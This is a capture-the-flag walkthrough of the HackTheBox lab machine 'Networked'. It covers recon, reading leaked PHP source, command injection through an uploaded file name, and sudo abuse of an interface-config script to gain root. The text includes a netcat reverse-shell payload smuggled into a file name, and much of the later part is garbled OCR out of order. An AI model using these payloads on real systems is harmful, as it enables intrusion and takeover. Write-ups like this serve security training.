Release: 24 Aug 2019 IP: 10.10.10.146 **Nmap** Added networked.htb to /etc/hosts ran quick nmap (nmap -T5 -Pn 10.10.10.146), followed up by deeper nmap sudo nmap -T5 -p- -A -Pn 10.10.10.146 OpenSSH 7.4 (protocol 2.0) 22/tcp open ssh 80/tcp http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) open |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 443/tcp closed https Website: port 80 10.10.10.146/ http://10.10.10.146/ ① 10.10.10.146 🥄 Kali Linux 🛝 Kali Training 🛝 Kali Tools 🛝 Kali Docs Hello mate, we're building the new FaceMash! Help by funding us and be the new Tyler&Cameron! Join us at the pool party this Sat to get a glimpse Possible usernames, let's add them to a userlist: tyler, cameron li:~/Downloads/networked\$ echo "tyler" > users.txt :~/Downloads/networked\$ echo " cameron" >> users.txt :~/Downloads/networked\$ echo "facemash" > passwords.txt :~/Downloads/networked\$ echo "facemash!" >> passwords.txt :~/Downloads/networked\$ echo "sat" >> passwords.txt :~/Downloads/networked\$ echo "saturday" >> passwords.txt **Directory Recon** let's run gobuster on the port 80 site: sudo gobuster dir -u 10.10.10.146 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o /home/kali/Downloads/networked/gobuster.txt . results are: /uploads - nothing much here yet /backup - travelling to this site we find **backup.tar**, let's download it. 10.10.10.146/backup/ Kali Linux 🥄 Kali Training 🥄 Kali Tools 🥄 Kali Docs 🥄 Kali For Index of /backup Last modified Size Description Name Parent Directory

Networked

Difficulty:

Points:

🦲 Linux

Easy

20

Networked

IP: 10.10.10.146

Index of /backup Name Last modified Parent Directory backup.tar 2019-07-09 13:33 10K Backup.tar Move this archive into its own directory, and then unzip it via: tar -xf backup.tar kelinkali:~/Downloads/networked/backup\$ tar -xf backup.tar

Li:~/Downloads/networked/backup\$ tar -xf backup.tar kalimkali:~/Downloads/networked/backup\$ ls index.php lib.php photos.php upload.php Each of these can be travelled to in the url, and /upload.php does allows us to upload a file however it rejects anything we upload. Open the files in a **text editor**, the colours will make it easier to see. Let's investigate why we can't upload anything. The **php** code for upload.php states we have to upload something less than **6000** !(check_file_type(\$_FILES["myFile"]) & filesize(\$_FILES['myFile']['tmp_name']) < 60000)) { echo 'Invalid image file.' So i create an empty **test.jpg** and to try to upload it, but it rejects this too. Let's keep reading the code.It says that it **requires** lib.php before it will execute the uploads.php, so let's read lib.php "It is possible to insert the content of one PHP file into another PHP file (before the server executes) it), with the include or require statement" https://www.w3schools.com/php/php_includes.asp <?php require '/var/www/html/lib.php';

So i create an empty test.jpg and to try to upload it, but it rejects this too. Let's keep reading the code. It is says that it requires lib.php before it will execute the uploads.php, so let's read lib.php

"It is possible to insert the content of one PHP file into another PHP file (before the server executes it), with the include or require statement"

https://www.w3schools.com/php/php_includes.asp

1 <?php
2 require '/var/www/html/lib.php';

Lib.php seems to be filtering IPs'.

function check_ip(\$prefix,\$filename) {
 //echo "prefix: \$prefix - fname: \$filename
if (!(filter_var(\$prefix, FILTER_VALIDATE_IP))) {
 \$ret = true;
 if (!(filter_var(\$prefix, FILTER_VALIDATE_IP))) {
 \$sees = "4tt4ck on file ".\$filename.": prefix is not a valid ip ";
 } else {
 \$msg = \$filename;
 }

Okay, so this is why my test.jpg didn't work. Let's download an image from the server, in photos.php, and see if it will let one of its own be uploaded.

Table will is the Color Discharge of the Colo

check_attack.php crontab.guly user.txt Check_Attack.php The **crontab** simply runs the <code>check_attack.php</code> file. Let's <code>cat</code> the **php**, and copy and paste them over to our kali machine. The colouring will make the **php** easier to read 1 <?php 2 require '/var/www/html/lib.php'; \$path = '/var/www/html/uploads/'; \$logpath = '/tmp/attack.log'%; \$to = 'guly';
\$msg= ''; 6 \$headers = "X-Mailer: check_attack.php\r\n"; 8 \$files = preg_grep('/^([^.])/', scandir(\$path)); 1 l2 foreach (files as key ⇒ <math>value) { 3 if (\$value = 'index.html') { .5 .6 .7 #echo "----\n"; 8 9 #print "check: \$value\n"; 0 list (\$name,\$ext) = getnameCheck(\$value); 1 \$check = check_ip(\$name,\$value); 2 23 if (!(\$check[0])) { . 4 echo "attack!\n"; # todo: attach file 26 file_put_contents(\$logpath, \$msg, FILE_APPEND | LOCK_EX); .7 .8 exec("rm -f \$logpath"); exec("nohup /bin/rm -f \$path\$value > /dev/null 2>&1 &"); 9 0 echo "rm -f \$path\$value\n"; 1 mail(\$to, \$msg, \$msg, \$headers, "-F\$value"); 3 } 4 5 ?> It looks like this php code checks for anything that isn't supposed to be in uploads, and then is supposed to remove it....however it ends up trying to remove the actual file name but is written in such a way that it executes the file name itself. So we if travel to /var/www/html/uploads, and touch '; nc 10.10.14.24 8999 -c bash' -the ; is there to signal an execution. The netcat command we just gave should be sitting there as though it were a file name. Fire up a netcat listner and get ready. 127_0_0_1.png ; nc 10.10.14.24 8999 -c bash 127_0_0_2.png index.html 127_0_0_3.png 127_0_0_4.png **Guly Shell**

Go and get your user flag, and then come back for the Priv Esc

checking, it would have told you the same thing:

--More--(7%)

--More--(7%)

--More--(8%)

--More--(8%)

--More--(8%)

--More--(8%)

--More--(8%)

--More--(8%)

--More--(8%)

machine to get colour.

1 #!/bin/bash -p

5 NM_CONTROLLED=no

8 regexp="^[a-zA-Z0-9_\ /-]+\$"

read x

echo "interface \$var:"

read x

qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

sudo /usr/local/sbin/changename.sh

3 DEVICE=guly0

4 ONBOOT=no

6 EOF

1

2

l3

4

.5 .6

7

18

!0

9 done

1 /sbin/ifup guly

https://vulmon.com/exploitdetails?

command - bash - as an executable.

interface PROXY_METHOD:

interface BROWSER_ONLY:

interface BOOTPROTO:

interface NAME:

test bash

test bash

test

test

test

test

test

test

[+] Possible sudo pwnage!

/usr/local/sbin/changename.sh

As always, check sudo -1 for the easy wins. Equally, if you ran an eumeration script first before

[+] We can sudo without supplying a password!

Matching Defaults entries for guly on networked:

!visiblepw, always_set_home, match_group_by_gid, alwa

env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDI
p+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE'
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep-

C_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_/
B_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin

User guly may run the following commands on networked:

(root) NOPASSWD: /usr/local/sbin/changename.sh

We can run changename.sh as root. Let's go and look at its code. As per usual, bring it over to our kali

2 cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF

l0 for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do

echo "interface \$var:"

echo "wrong input, try again"

This bash script cats the file '/ifcfg', which has an exploit attacched to it. This helps explain more:

In essence, we can write 'test bash 'for the first command, and test for the rest, and it will offer us

[guly@networked /]\$ sudo /usr/local/sbin/changename.sh

[root@networked network-scripts]# cat /root/root.txt
cat /root/root.txt

a root bash shell afterwards, because of the space between our first command, it reads the second

echo \$var=\$x >> /etc/sysconfig/network-scripts/ifcfg-guly

while [[! \$x =~ \$regexp]]; do

Priv Esc